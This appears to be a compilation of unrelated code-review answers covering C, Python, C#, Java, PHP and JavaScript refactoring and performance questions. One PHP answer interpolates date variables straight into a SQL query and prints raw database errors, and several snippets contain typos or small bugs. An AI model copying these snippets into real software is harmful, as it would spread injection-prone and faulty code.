        .map(caId -> {new AccessRuleTemplate(StandardRules.CAACCESS.resource() + caId.toString(), AccessRuleState.RULE_ACCEPT, false)})
        .collect(Collectors.toList());


It's usually best to return as early as possible for invalid cases. This avoids unnecessary nesting and complexity.

e.g. the main() function has a lot of redundant code:

int main(int argc, string argv[])
{
    //check for valid key and save
    int valid = 0;
    if (argc == 2)
    {
        valid = check(argv[1]);
    }
    else
    {
        printf("Usage: ./vigenere keyword\n");
        return 1;
    }

    ...
    if (valid == 1)
    {
        ...
    }
    else
    {
        printf("Usage: ./vigenere keyword\n");
        return 1;
    }
}

and could be shortened to:

int main(int argc, string argv[])
{
    if (argc != 2 || check(argv[1]) != 0)
    {
        printf("Usage: ./vigenere keyword\n");
        return 1;
    }

    ...
}

The main loop of the program could be abstracted to a separate function (after checking for a valid key / printing usage on error).

Similarly check() could be written as:

int check (string argv)
{
    for (int i = 0, n = strlen(argv); i < n; i++)
    {
        if (!isalpha(argv[i]))
        {
            return 1;
        }
    }

    return 0;
}

check() is not an informative name for a function. It should at least be check_key, or is_all_alpha or something. shift() is a similarly cryptic name.

By using strlen, we are unnecessarily iterating the string twice (once to find the null at the end, then again to process it). We can simply run until we find a null character:

for (int j = 0; plaintext[j]; ++j)

Don't use magic numbers. What are 122, 26, or 97?

Variables should be declared as close to their point of usage as possible, and initialized with real values. (key, index, new_code).

It would be better to use another variable (e.g. keyword) as an alias, rather than using argv[1] throughout the code.

There is no need to strlen() the keyword for every character.

The main loop always ends up printing a char. The rest of the code just decides what the char will be. So perhaps it could be abstracted into a function. Also, since we are expected to treat both 'a' and 'A' the same, we can simplify things by only outputting letters in lowercase.

I'd be inclined to do something like this (not tested):

string key = argv[1];
int key_len = strlen(key);
int key_i = 0;
for (int j = 0; plaintext[j]; ++j)
{
    char p = plaintext[j];
    char c = !isalpha(p) ? p : encode_char(p, key[key_i++ % key_len]);
    printf("%c", c);
}

printf("\n");
...

char encode_char(char plaintext, char key)
{
    assert(isalpha(plaintext)); // #include <assert.h>

    int k = shift(tolower(key));
    int p = shift(tolower(plaintext));

    return unshift((p + k) % 26);
}


Distance checking of normalized vectors?

Let me start by agreeing with the comments that have been posted. It is really strange that you're getting this behavior. In fact, it seems like it should be the opposite.

I Could Not Reproduce the Performance Delay

I started off by trying to recreate the problem you're describing. I first attempted by starting from the code you've given. I could measure no performance difference (using the Stopwatch class) when selecting between the small 800x480 size and the larger 8000x4800 size.

The next thing I tried was to strip the example down to just simply Vector2 objects, leaving out all of your Human, Enemy, and City types. I used the following code:

private static Random random = new Random();

protected override void Update(GameTime gameTime)
{
    // Generate initial list of vectors.
    List<Vector2> vectors = new List<Vector2>();
    for (int index = 0; index < 1000; index++)
    {
        vectors.Add(new Vector2(random.Next(800), random.Next(480)));
    }

    double sumOfSquares = 0;

    // Start timing.
    Stopwatch stopwatch = new Stopwatch();
    stopwatch.Start();

    // Add up the
    foreach(Vector2 a in vectors)
    {
        foreach(Vector2 b in vectors)
        {
            sumOfSquares += Vector2.DistanceSquared(a, b);
        }
    }

    // End timing and print results.
    stopwatch.Stop();
    Console.WriteLine(stopwatch.ElapsedMilliseconds);
}

In both cases, there were no measurable differences. The size of the vectors does not have an impact on the performance.

I think this jives with what people would usually expect, hence the comments indicating it was a surprise. Regardless of the size of the values contained in the variables, the code should produce the same IL code, and ultimately the same machine instructions. It should be running the exact same code.

Looking for Other Problems

I think at this point, you should turn your attention elsewhere in your code. (You probably already did. This question is six months old now.)

One thing that strikes me as a possibility is if all you do is essentially change the size of your world (800x480 to 8000x4800), you potentially need to change a number of other variables as well, if you're making the change to create a higher resolution world, instead of just simply a larger world. In particular, the number you're using as the minimum distance between a human and an enemy, and a human and another human. Without changing these appropriately, you'll get different percentages of breakdowns in how often it gets into each of these if-statements.

What's still odd to me is that it seems backwards. If you increase the size of the world without increasing the number of objects in it, they'll be less dense. You should be hitting the inside of those if-statements less frequently. In theory, it should increase the performance to use a bigger world.

So in the end, you'll probably want to reconsider what the code inside of those if-statements actually do. There's a much better chance that that is causing the lag, not the actual size of the world. If you've got break or continue, you'll want to take an especially close look at how these behave, because these could be short circuiting your loop.

The Difference in Performance is Not Caused by Not Having Space Partitioning

One thing I don't agree with, as far as the comments go, is that this case warrants looking into space partitioning. It's possible that you'll want it in the end, but your underlying performance problem isn't necessarily tied to the spatial arrangement of your objects. There is something else strange going on here, and you'll want to figure that out first.

If both of your cases had the same performance, you felt like it was too slow, and the performance delay was clearly and measurably caused by the distance comparisons (i.e., profiling) that's when you'd look into some form of partitioning.

Vector Normalization

You mentioned that you normalized the vectors, and that solved your issue. Vector normalization takes a vector and turns it into one that points in the same direction, but has a length of 1. If a Vector2 object represents a velocity, an acceleration, or a vector from one point to another, vector normalization can be used to tell you the direction of that vector.

But if your vector is being used to represent a point in 2D space (or 3D space) normalizing it will just tell you the direction that the point lies from the origin of your world. It loses its meaning, as far as determining how far away two points are from each other. So that's why you're no longer getting correct results when you do this.


I'm all for providing docstrings.
I doubt the docstrings presented are helpful as can be for someone not familiar with the quicksort algorithm:

Returns an ascendingly sorted list;
is this a new one or the one provided as input?
(A method docstring should start with a phrase ending in a period [prescribing the] method's effect as a command ("Do this", "Return that"), not as a description)
Input variable is an integer or float array;
doesn't it work for strings?
the python tutorial names lists and tuples as standard sequence data types - what is an array?
(The type hint does give a hint as to the intended meaning - I do not have a helpful intuition about python type hinting in general and "interaction" with docstrings in particular.)
Theoretical Complexity: O(N×Log N) Time and O(N) Memory
Without further qualification of the bounds claimed, I expect them to be worst case bounds.
Recursively sorts the two pivot-divided sublists;
looking at the method interface, only, I don't see two sublists
(which happens to be the first thing I hope for in a method docstring - The docstring for a function or method should summarize its behavior and document its arguments, … does not stress this.)

There are several things not quite pythonic in the code presented

a swap of a and b is typically denoted using implied lists:
a, b = b, a
Concatenating immutable sequences always results in a new object of the same type as both sequences (the type of the first operand if not same types(?)) - not seeing the intention in enclosing test_list_integer + test_list_float in list()

I prefer

if not <condition>:
    <get out of here>
<operate>

over

if <condition>:
    <operate>
else:
    <get out of here>


It is also recommended that I implement ... the non-generic IComparable.

I don't see that recommendation in the current doc for IComparable. I would recommend against it: having the non-generic method turns compile-time errors into runtime errors, which are more expensive to find and fix.

      private static int Compare(Comparable<T> comp1, Comparable<T> comp2) {
          if (comp1 == null) {
              return ((comp2 == null) ? 0 : -1);
          }
          return comp1.CompareTo(comp2);
      }

For consistency, this requires that subclasses guarantee that CompareTo(null) returns a positive value, but that requirement isn't documented.

Perhaps a better solution would be:

        private static int Compare(Comparable<T> comp1, Comparable<T> comp2) {
            if (comp1 == null) {
                return comp2 == null ? 0 : 0.CompareTo(comp2.CompareTo(comp1));
            }
            return comp1.CompareTo(comp2);
        }

That way the only requirement is that CompareTo(null) be consistent.

There may be a more elegant way of inverting the sense of a comparison, but that's the easiest one I can think of which doesn't fail on corner cases.


Need help optimizing PHP/MySQL code snippet

you might want to write it like this

$total_query_raw = "SELECT SUM( total ) AS total
                        FROM  `tblinvoices`
                        WHERE  `datepaid`
                            BETWEEN  '$start_date 00:00:00' AND  '$end_date 23:59:59'";

$total_query = mysqli_query($link, $total_query_raw);

if (!$total_query) {
    echo "DB Error, could not query the database\n";
    echo 'MySQL Error: ' . mysqli_error();
    exit;
} else {
    $total_result = mysqli_fetch_array($total_query);
    $grand_total = $total_result['total'];
    echo "Grand Total: $" . number_format($grand_total,2) . "
";
    mysqli_free_result($total_query);
}

otherwise you are going to try and perform action on something that you know will give you an error, that is the whole reason for the if statement,  so put the rest of that stuff in the else statement.

and I am not sure but I think you can write the last part of it like this

I think that it will do the assignment inside the if statement and return a 1 or 0 (which relates to true or false)
but I may be thinking of another language that allows you to do this

if ($total_query = mysqli_query($link, $total_query_raw))
{
    $total_result = mysqli_fetch_array($total_query);
    $grand_total = $total_result['total'];
    echo "Grand Total: $" . number_format($grand_total,2) . "
";
    mysqli_free_result($total_query);
}
else
{
    echo "DB Error, could not query the database\n";
    echo 'MySQL Error: ' . mysqli_error();
    exit;
}

UPDATE

ok so I did a little research on the Declaration & Assignment inside the condition, and based of THIS ANSWER you can perform the assignment inside the If Condition.

it does sound like you have to assign a "truthy" value?  not sure exactly what that means. I assume that if the assignment is good, it will return True but if the assignment is bad it will return False.


Instead of storing the actual values in a tuple as the key in a dictionary for memoisation, multiplex them together into a single value and use that as the key. You will need to pick multiplex value that is an order of magnitude higher than the largest "numberOfItemsToConsider" you can expect. Or you could turn them into strings and concat for the key.
i.e.
var key = (weightLeft * 10_000) + numberOfItemsToConsider; // parens for readability.
// OR
var key = weightLeft.ToString() + "_" + numberOfItemsToConsider.ToString(); // parens for readability.

EDIT: Thanks @Jeff E for correcting me on this, Hashtable is slower.
Instead of a dictionary, you could use a hashtable, which is faster. i.e.
Finally, if you're chasing every little bit of time, allocate all your variables outside of any loops, so they are not continually being reallocated, which has an expense.


Fastest way to count combinations of values from two lists/arrays

I would drop construction of string and just do:

from itertools import izip

line1 = "0 0 1 0 1"
line2 = "0 1 1 0 1"

line1_list = line1.split()
line2_list = line2.split()

tab_dict = Counter(izip(line1_list, line2_list))

construction of tuple if faster than string, you remove unneeded operation, and making a table from a tuple of two if pretty much the same as making it from a complex string key, I would say that making it out of tuple of (x,y) is more logical.


Calculate probability that knight does not attempt to leave chessboard after at most k random moves (LeetCode #688)

Both answers basically try all k-length paths and count the number of paths that remain on the board compared to all possible paths.
A major difference between your answer and the recursive solution you link to is what is cached (i.e., memoized).  You code caches the possible moves from a square.  The linked code caches partial solutions.  That is, the cache key is the position on the board and the number of moves remaining.
Consider starting at (0,0) with k steps. One path might start (0,0,k)->(1,2,k-1)->(3,3,k-2),.... When calculating the path that starts with (0,0,k)->(2,1,k-1)->(3,3,k-2), the linked code has already calculated and cached the partial solution for (3,3,k-2) and doesn't need to calculate all those paths again.  In contrast, you solution only caches the legal moves from (3,3) and does need to go through all the paths again.
Note, the linked answer could be sped up significantly by using the symmetry of the board to cache partial solutions for reflected and rotated squares. For the paths mentioned above, the solution for (2,1,k-1) and (1,2,k-1) are the same because of board symmetry. For each square on the diagonal or horizontal/vertical centerlines (if any) there are 3 squares with the same solutions due to symmetry. For other squares there are 7 other equivalent squares. A caching algorithm that uses this symmetry could be much faster.


First of all, your code looks quite good. You've encapsulated the plugin well, and cached all your jQuery instances, which are, in my experience, the most common pitfalls.

One thing I noticed is that you create a scroll event handler for every section[data-type="background"] element. Performance wise, this might not be optimal since the scroll event fires quite often. Instead of creating multiple scroll events, something like the following could be done:

var backgrounds = [];
$('section[data-type="background"]').each(function(){
  backgrounds.push($(this));
}

$(window).scroll(function() {
  for(var i=0; i < backgrounds.length; i++) {
    var $elem = backgrounds[i];
    var yPos = -(jQuerywindow.scrollTop() / $elem.data('speed'));
    var coords = '50% '+ yPos + 'px';
    $elem.css({ backgroundPosition: coords });
  }
});

John Resig wrote about scroll event performance quite some time ago, and it's still a good read (including the comments!). You might want to check that out too, and choose a technique of your liking.

And one more, very personal opinion: jQuerywindow is not a variable name I would choose. If you're determined to prepend every jQuery variable with jQuery, then write jQueryWindow, but I would suggest just using $window. I actually don't know where I got this from, but prepending every jQuery variable (including function parameters) with $ makes for very easily readable code (again, this is only a personal opinion).

Edit: Oh, and you probably should cache the jQueryscroll.data('speed') invocation, so that you don't have to read from the DOM every time a scroll event happens.

Edit2: And it is generally a good idea to do a little profiling when you're having performance problems, as guessing what might be the bottleneck is usually not very effective. Most modern browsers have some kind of JavaScript profiler available.


Printing all even and odd numbers with threads

This looks very good to me, but I am not very advanced at C# myself.  I can give you some tips, though.

First, you should not use ambiguous names like t1 and t2.  You should use more descriptive names like EvenThread and OddThread instead.

Second, you can shorten this:

while (true)
{
  if (a.Count == 0)
    break;

Into this:

while (Numbers.Count > 0)  // For PrintOdd()

And this:

while (Numbers.Count > 1)  // For PrintEven()

Also, you could look into other forms of mutual exclusion techniques, such as semaphores and mutexes, instead of just using an Object.

This is an implementation with a SemaphoreSlim (only code shown is changed):

using System.Threading;

class Program
{
    static SemaphoreSlim ThreadLock = new SemaphoreSlim(1,1);
    static Thread Odd;
    static Thread Even;
    static LinkedList<int> Numbers = new LinkedList<int>();
    static void Main(string[] args)
    {
        for (int i = 0; i < 10; i++)
        {
            Numbers.AddLast(i);
        }

        Odd = new Thread(PrintOdd);
        Even = new Thread(PrintEven);
        Odd.Name = "Odd";
        Even.Name = "Even";
        Odd.Start();
        Even.Start();
        Odd.Join();
        Even.Join();

        Console.WriteLine("Done!");
        Console.Read();
    }

    private static void PrintOdd()
    {
        while (Numbers.Count > 0)
        {
            ThreadLock.Wait();

            int x = Numbers.First();
            if (x % 2 != 0)
            {
                Console.WriteLine(Thread.CurrentThread.Name + " " + x);
                Numbers.RemoveFirst();
            }

            ThreadLock.Release();
        }
    }

    private static void PrintEven()
    {
        while (Numbers.Count > 1)
        {
            ThreadLock.Wait();

            int x = Numbers.First();
            if (x % 2 == 0)
            {
                Console.WriteLine(Thread.CurrentThread.Name + " " + x);
                Numbers.RemoveFirst();
            }

            ThreadLock.Release();
        }
    }
}


Check if 2 rectangles fit in another one, given their length and height

Any two rectangles can fit into a third rectangle (without overlapping with each other) only under 2 cases:

As mentioned in the question, consider:

x,y  -> length and height of first rectangle into which below two rectangles must fit.
l1,h1 -> length/width and height of second rectangle.
l2,h2 -> length and height of third rectangle.

Note: You could use structures or 2-dimensional arrays for better readability.

Case 1:

When x is greater than or equal to l1+l2
Here the height y must be greater than or equal to maximum of h1 and h2 for the rectangles to fit in, else it doesn't fit in.

Note: x >= l1+12 can be written as ((x >= l1) && (x-l1 >= l2)). This is to avoid the overflow while adding integers.

Case 2:

When y is greater than or equal to h1+h2
Here the length x must be greater than or equal to maximum of l1 and l2 for the rectangles to fit in, else it doesn't fit in.

Note: similarly, even here y >= h1+h2 can be written as (y >= h1) && (y-h1 >= h2). This is to avoid the overflow while adding integers.

Now, keeping the above 2 cases in mind, a simple function can be constructed this way:

int fit( int x, int y, int l1, int h1, int l2, int h2)
{
    //return 1 for fit and 0 if does not fit

    //case 1 or case 2
    if( ( ((x >= l1) && (x-l1 >= l2)) && y >= max(h1,h2)) ||
        ( ((y >= h1) && (y-h1 >= h2)) && x >= max(l1,l2)) )
    {
            return 1;
    }

    return 0;
}

Note: here max() is a function which returns the larger value among the two sent arguments.

int max(int a, int b)
{
    if(a>b)
    {
        return a;
    }
    return b;
}

Now, the 2 rectangles can be sent in 4 different ways to check if they can fit in the rectangle of dimensions x and y:

//sending as entered by the user
fit( x, y, l1, h1, l2, h2)

//interchanging length and height of anyone rectangle
fit( x, y, h1, l1, l2, h2)

//interchanging length and height of other rectangle
fit( x, y, l1, h1, h2, l2)

//interchanging lengths and heights of both rectangles
fit( x, y, h1, l1, h2, l2)

Now, you can easily know whether the rectangles fit or does not fit by checking for the return value of fit() function.
If return value of anyone of the above four function calls is 1 then the rectangles fit in!
You could use the main() function as:

int main(void)
{
    int x, y, l1, h1, l2, h2;

    scanf("%d %d %d %d %d %d", &x, &y, &l1, &h1, &l2, &h2);

    //tests for fit
    if(fit( x, y, l1, h1, l2, h2) ||
       fit( x, y, h1, l1, l2, h2) ||
       fit( x, y, l1, h1, h2, l2) ||
       fit( x, y, h1, l1, h2, l2))
    {
        printf("fits");
    }
    else
    {
        printf("doesn't fit");
    }

}

The above if block functions similarly as an else-if ladder because, || stops evaluation on the first true (i.e, function returns 1).
So, if any of the function returns a 1, then then "fits" gets printed out and program terminates
In case, if none of the function calls return 1 the "doesn't fit" gets printed out and program terminates

Altogether your code would be:

#include <stdio.h>

int max(int a, int b)
{
    if(a>b)
    {
        return a;
    }
    return b;
}

int fit( int x, int y, int l1, int h1, int l2, int h2)
{
    //return 1 for fit and 0 if does not fit

    //case 1 or case 2
    if( ( ((x >= l1) && (x-l1 >= l2)) && y >= max(h1,h2)) ||
        ( ((y >= h1) && (y-h1 >= h2)) && x >= max(l1,l2)) )
    {
            return 1;
    }

    return 0;
}

int main(void)
{
    int x, y, l1, h1, l2, h2;

    scanf("%d %d %d %d %d %d", &x, &y, &l1, &h1, &l2, &h2);

    //tests for fit
    if( fit( x, y, l1, h1, l2, h2) ||
        fit( x, y, h1, l1, l2, h2) ||
        fit( x, y, l1, h1, h2, l2) ||
        fit( x, y, h1, l1, h2, l2))
    {
        printf("fits");
    }
    else
    {
        printf("doesn't fit");
    }

}


Inventory of objects with item types and quantities

Yes, having a quantity field in Item is bad design.
The reason is that it is the wrong abstraction. If you pick up and hold ten pebbles in your hand, the number ten is a property of your hand (because it is how many things it is holding), not the pebble which is just a pebble.
Consider if you drop all the pebbles, now the quantity of pebbles in your hand changes to 0. But if the quantity was a property of the pebble, and you dropped all the pebbles how would you model that would each of the pebbles have a quantity of 0 now?
What if you hand the pebbles over to some one else? Then you would change the quantity in respective hand, but if the quantity was part of the pebble you couldn't model this transaction at all.
Similarly the quantity should be a property of the inventory (how many of X does it contain), not of the Item which is just an item.
Somehow this makes me think of Database Normal Forms.
Simply have a Map with Item as key and an Integer quantity as value. This solves your duplicate items problem as well.
Map<Item, Integer> inv = new HasMap<>();

// add x of item ( works for new items too )
inv.put(item, inv.getOrDefault(item, 0) + x);

Note that you will need to implement equals and hashCode for Item.


Carousel using a function passed a target element

You can remove the active class along with the other classes, and you can chain the prev and next calls:

var render = function (cont) {
  cont.parent().children().removeClass('active next prev next_next prev_prev');
  cont.addClass('active');
  cont.next().addClass('next').next().addClass('next_next');
  cont.prev().addClass('prev').prev().addClass('prev_prev');
};


Multiply a 2D array by 1D array to get a third (2D) array

You actually don't need VBA for this but you could get the same result with an array formula.

You select the cells D8:F9 so that the D8 is active. Then you type the following formula there

=D6:F6*D3:F4

and hit CTRL+SHIFT+ENTER

if it worked you'll see {} around each formula in each cell and the results in the second table.


I see a number of things that may help you improve your code.

Use standard library functions where appropriate

Except as a learning exercise (which I recognize this probably is), there's little reason to write duplicates of existing, well-tested, well-documented and often highly optimized library functions.  For that reason, in real code, I'd expect strlen() to be used rather than myStrLen().

Don't leak memory

Unlike Java, in C it is the responsibility of the programmer to clean up memory allocations.  For that reason, I'd expect the sample code to have the line free(joined); before the end of main.

Use const where appropriate

The delimiter and strArr arguments to awfulJoinStr are not and should not be modified by that function, so it would be better to indicate that fact and change the parameter list to this:

char* awfulJoinStr(const char* delimiter, const char** strArr, size_t nStrings)

Consider using a sentinel value

Generally, there are two ways to tell a function the size of a list.  Either it can be passed explicitly as you do in the current code, or one can use a sentinel value which is simply a special "end of list" marker value.  In this case, I think it might be more convenient to use a sentinel value of NULL.  So your coll could look like this:

const char* coll[] = {"Hello", "World", "This", "Should", "Be", "Joined!", NULL};

And now the code could look for the special NULL value instead of having to pass a count.

Check for errors

The call to malloc could fail.  The only indication you would have of this would be that it would return NULL, so for that reason, you should check for a NULL return from malloc before using the returned pointer or risk having your code crash.

Also, if nStrings is zero, the calculated totalDelimiterSize is huge and the result will certainly not be what you want, even if it doesn't crash.

Simplify code by knowing the standard well

The current code includes this line:

char* buffer = malloc(sizeof(char) * bufferSize);

However, the standard defines sizeof(char) as always being equal to 1 so this could and should be written like this instead:

char* buffer = malloc(bufferSize);

Bail out early on error

If the parameters to the function are faulty, or if there are no passed strings, it would probably make most sense to bail out early, rather than doing a bunch of work that would ultimately be thrown away.

Understand the use of pointers

A fundamental (but not always easy!) concept in C programming is the pointer.  Understanding how to use pointers effectively is an important skill to learn when mastering C programming.  Examples as applied to this program are shown in the code in the next section.

Simplify your code by decomposing into functions

Here's one way to rewrite the function using most of what's suggested above:

char* awfulJoinStr(const char* delimiter, const char** strArr) {
    if (strArr == NULL || delimiter == NULL) {
        return NULL;
    }
    // first calculate the total length of the strings
    size_t bufferSize = 0;
    size_t nStrings = 0;
    for (const char **str = strArr; *str != NULL; ++str) {
        bufferSize += strlen(*str);
        ++nStrings;
    }
    if (nStrings == 0) {
        return NULL;
    }
    size_t delimiterSize = strlen(delimiter);
    bufferSize += (nStrings - 1) * delimiterSize + 1;
    char* buffer = malloc(bufferSize);
    if (buffer == NULL) {
        return NULL;
    }
    buffer[bufferSize - 1] = '\0';
    for (char *curr = scopy(buffer, *strArr++); *strArr; ++strArr) {
        curr = scopy(curr, delimiter);
        curr = scopy(curr, *strArr);
    }
    return buffer;
}

As you see, the copying is done via a custom string copy function scopy.  We use this instead ofthe standard strcpy because strcpy returns the start of the destination string, but this code requires one past the end instead.  Here's scopy:

char *scopy(char *dest, const char *src) {
    while (*src) {
        *dest++ = *src++;
    }
    return dest;
}

This short function uses a lot of specialized C knowledge.  First, the passed parameters are both pointers.  We can alter the pointers without necesarily altering what they're pointing to.  Second is the idea of post-increment versus pre-increment.  This line is a very common C idiom:

*dest++ = *src++;

What it means in English is, in effect, "get the thing that src is pointing to and copy that to wherever dest is pointing; then increment both pointers."  (That's not exactly the sequence of events, but it will suffice to understand the intent of this line.)


Here's what I came up with using a helper class:

            Draw draw = new Draw(g, borderPen, hueCount, margin, width, height);

            for (int i = 0; i < hueCount - 2; ++i)
            {
                draw.DrawBorder(i);
                draw.DrawLine(redPen, i, reds, maxRed);
                draw.DrawLine(greenPen, i, greens, maxGreen);
                draw.DrawLine(bluePen, i, blues, maxBlue);
            }

...

internal sealed class Draw
{
    private readonly Graphics g;

    private readonly Pen borderPen;

    private readonly int hueCount;

    private readonly int margin;

    private readonly int doubleMargin;

    private readonly int width;

    private readonly int height;

    internal Draw(Graphics g, Pen borderPen, int hueCount, int margin, int width, int height)
    {
        this.g = g;
        this.borderPen = borderPen;
        this.hueCount = hueCount;
        this.margin = margin;
        this.doubleMargin = 2 * this.margin;
        this.width = width;
        this.height = height;
    }

    internal void DrawBorder(int i)
    {
        if (i % 6 == 0)
        {
            float x = margin + (width - doubleMargin) * (float)i / hueCount;
            float y = height - margin;

            g.DrawLine(borderPen, x, y, x, y - 5);
        }
    }

    internal void DrawLine(Pen pen, int i, int[] colors, int maxColor)
    {
        float wm = width - doubleMargin;
        float hm = height - doubleMargin;
        float mh = margin - height;

        g.DrawLine(
            pen,
            margin + ((float)i / hueCount) * wm,
            (-(float)colors[i] / maxColor) * hm - mh,
            margin + ((float)(i + 1) / hueCount) * wm,
            (-(float)colors[i + 1] / maxColor) * hm - mh);
    }
}


ListView + ArrayAdapter: Setting OnClickListener to items

Well it's not about performance in this case, but you could use dependency injection, which means you could pass the instance of the listener outside to the Adapter. Then just say

listItem.setOnClickListener(onClickListner);
This could make your code more readable

UPDATE

Example shows, how to pass an OnClickListener outside from the class.

So, I would like to add more code, to make sure we can learn from it together:

public class Malacka{

  private OnClickListener callbackListener;

  public Malacka(OnClickListener callback){
     this.callbackListener = callback;
  }

  public void getView(View view, int position, View parent){
    // apply viewHolder pattern here and do your stuff
   itemView.setOnClickListener(callbackListener);
  }
}


Should a year and month be stored as separate fields or as a date?

In general it really depends on the use cases of your data.  If you need to perform queries using just year or just month then you reduce complexity in the code and queries by having separate fields.

However, if you aren't bounding by just a year or just a month then you would want to use a date field.

Professionally I use date or string fields (YYYYMMDD) when representing dates and times because the speedup you get from single year/month fields is small with todays databases (assuming things are correctly indexed).


Is it a good practice to have static final field DUMMY in interfaces used as listeners?

A common pattern to avoid these instances is to create a 'default' abstract class for the interface. One that comes to mind is the SAX parser's DefaultHandler

Consider an abstract class (marked abstract even though it implements the method):

public abstract class DefaultOnClickListener implements MyOnClickListener {
    public void onClick() {
        // override to implement
    }
}

Now, you can extend the class, and chose to change the behaviour, by overriding the method, or leaving the default behaviour, by not overriding the method.

This solution means that the dummy implementations are only in one place.


Document your code. In the code.
Be sure you got the specification right.
Very helpful here is giving test serious consideration early on.
• testing order in which each value was generated must be preserved
 looks a nightmare

One way to present the approach coded:
1) generate six sums
2) if this sextuple is not admissible, start over
Alternatives:
2b) while sextuple is not admissible, delete oldest sum and append a new one
  This still results in six sums generated in a row.
2c) while sextuple is not admissible, delete smallest sum and append a new one
  This still preserves the order in which each value was generated
  - but it skews the distribution.
But: What if the real requirement was
Generate six pseudo-random values with a distribution identical to the one from a procedure as sketched, with utmost efficiency
(You'd have to define efficiency.)
Name things for what they can/will be used for. Difficult to guess for (test,) genAttribute(), checkFinalArray()
Parametrise where it does not add effort
What if you next wanted seven values each from five rolls of tetrahedral dice, three over a threshold of eleven and a total of at least 42?
sometimes it pays to take a step back and try to look at the requirements specification from a different angle:
The sum of the three largest values out of four may seem to require identifying those three values.
From a distance, it looks like the total minus the minimum.

I started putting in writing what I think should do:

   /** @param nSums count of sums to return
    *  @param nDraws count of summands for each sum
    *  @param from lower bound for summands
    *  @param to_inclusive upper bound for summands
    *  @param threshold for "big enough"
    *  @param requiredCount count of sums required to be
    *                                                   "big enough"
    *  @param lowestTotal total to reach
    *
    *  @return nSums of nDraws values each
    *   but the smallest among those
    *   - if

    *    - at least requiredCount
    *               sums reach threshold and

    *    - the total is lowestTotal, at least */
    public static int[]
    sufficientTopSums(int nSums, int nDraws, int from, int to_inclusive,
        int threshold, int requiredCount, int lowestTotal) {
        // Start with a queue filled with very negative values
        // keep a total and a count of sufficiently high sums

        // check int range suffices
        assert((long)(nDraws - 1) * to_inclusive < Integer.MAX_VALUE / nSums);
        final int veryNegative = Integer.MIN_VALUE/nDraws;
        Queue<Integer> q = new ArrayDeque<>(Collections.nCopies(
            nSums, veryNegative));
        for (int total = veryNegative * nSums, sufficient = 0 ; ; ) {
            int replaced = q.remove();
            // account for value removed
            total -= replaced;
            if (threshold <= replaced)
                sufficient--;
            // generate & keep new sum
            int sum = sumIgnoringMin(nDraws, from, to_inclusive);
            q.add(sum);
            // account for new value
            if (threshold <= sum)
                sufficient++;
            if (lowestTotal <= (total += sum)
                && requiredCount <= sufficient)
                return q.stream().mapToInt(x->x).toArray();
        }
    }
    public static void main(String[] args) {
        System.out.println(Arrays.toString(
            sufficientTopSums(6, 4, 1, 6, 15, 2, 75)));
    }

    static final java.util.Random dice = new java.util.Random();
    private static final int[] NO_INTS = {};

   /** @param nDraws count of values to draw
    *  @param from lower bound for values
    *  @param to_inclusive upper bound for values
    *  @return sum of draws, excluding minimal value drawn */
    static int sumIgnoringMin(int nDraws, int from, int to_inclusive) {
        int to = to_inclusive - from + 1;
        int min = Integer.MAX_VALUE,
            sum = from * (nDraws);
        while (0 <= --nDraws) {
            int drawn = dice.nextInt(to);
            if (drawn < min)
                min = drawn;
            sum += drawn;
        }
        return sum - min - from;
    }

and stumbled upon not really knowing what representation to choose for the return value.
Oh, well, int[] and Collection<Integer> can be converted easily enough.
For lack of array rotation support, I went for a Queue<Integer>.


Applying chain responsibility with IFilter

I thought of something like having a map< std::string, IFilter > for
  being sure that the sequence is in the order that I want. What do you
  think of this?

std::map for such simple case should be avoided. std::map would be more appropriate if you are not sure that your IFilter objects could be inserted in any order by client code and you do have lots of entry. Of course we should measure our program performance by both(.i.e. std::vector or std::map

  Is it good enough? Or this is just making it more complicated and I
  need just to pay attention at push_back.

Yes, it look ok. We should always use more simpler/efficient data structure(std::vector) as our default container unless we have valid reason to do otherwise.

BTW, is this going to call them in right order (1, 2, 3)?

No, It would be in order of (3,2,1) as std::vector would push_back. We can see that documentation clearly mention like this about push_back

Appends the given element value to the end of the container.

[Filter3()][Filter2()][Filter1()]
   0           1          2


React custom hooks using refs as index counters

Looks to be fairly clean code.
Suggestions

Use string::slice or string::substring versus string::substr. substr isn't deprecated but also isn't recommended for use.

Warning: Although String.prototype.substr(…) is not strictly
deprecated (as in "removed from the Web standards"), it is considered
a legacy function and should be avoided when possible. It is not part
of the core JavaScript language and may be removed in the future. If
at all possible, use the substring() method instead.

setCurrentString(currentString.slice(0, currentStringIndex.current + 1));

Provide clearer parameter names, i.e. stringArray versus just strings, and setString or setCurrentString versus set. set alone can be confusing as it isn't very descriptive, i.e. "is it a mathematical set?" By naming a function with verbNoun it is clearer to a reader what it is and what it does.

const useTyper = (stringsArray, setCurrentString, defaultDelay = 100) => {

stringIdx and stringsIdx can cause mental gymnastics looking for the 's' to differentiate the two. Isolated from one another the names aren't terrible, but when used together within the same function it is more demanding. The names should also align closer to the variable they indicate an index for. Based on the previous parameter naming suggestion I recommend stringArrayIndex and currentStringIndex.
You also appear to do an extra iteration on the currentString with the conditional test currentStringIndex.current > currentString.length. You can increment to the next string when the current string's index is equal to the length, currentStringIndex.current >= currentString.length.
Similar conditional test for checking for the end of the strings array, when the index is. greater then or equal to the length you can quit. stringArrayIndex.current >= stringArray.length

const useTyper = (stringArray, setCurrentString, defaultDelay = 100) => {
  const [delay, setDelay] = React.useState(defaultDelay);
  // index counters, normally named i and j if this were an imperative loop
  const currentStringIndex = React.useRef(0);
  const stringArrayIndex = React.useRef(0);

  const textTyper = () => {
    const currentString = stringArray[stringArrayIndex.current];

    setCurrentString(currentString.slice(0, currentStringIndex.current + 1));

    if (currentStringIndex.current >= currentString.length) {
      // Done with string
      stringArrayIndex.current += 1;
      currentStringIndex.current = 0;
      if (stringArrayIndex.current >= stringArray.length) {
        setDelay(null); // Ended.
      }
    }
    currentStringIndex.current += 1;
  };

  useInterval(textTyper, delay);
};

Good job, nice hook.


Your stack returns 0 instead of 3 on this simple case:

public static void main(String[] args) {
    Stack2 s = new Stack2();
    s.add(3);
    System.out.println(s.pop());
}

Traditionally, the stack operations are called "push" and "pop".  It's unusual to have "add" and "pop".

The isEmpty() method would be better written as:

public boolean isEmpty(){
    return size == 0
}

Throwing ArrayIndexOutOfBoundsException would be worse, since it would result in a "leaky" abstraction.  The user shouldn't know that the stack is actually backed by an array.


Process bunches of records in seperate threads and wait for them all to finish

So your original approach looked something like this:

recordIds.AsParallel()
    .WithDegreeOfParallelism(...)
    .ForAll(id => SetOwner(id));

which involved a separate call to SetOwner for each record. Because SetOwner has a lot of overhead per call, it's indeed much better to let it operate on batches rather than individual items. But you don't need to use threads for that directly:
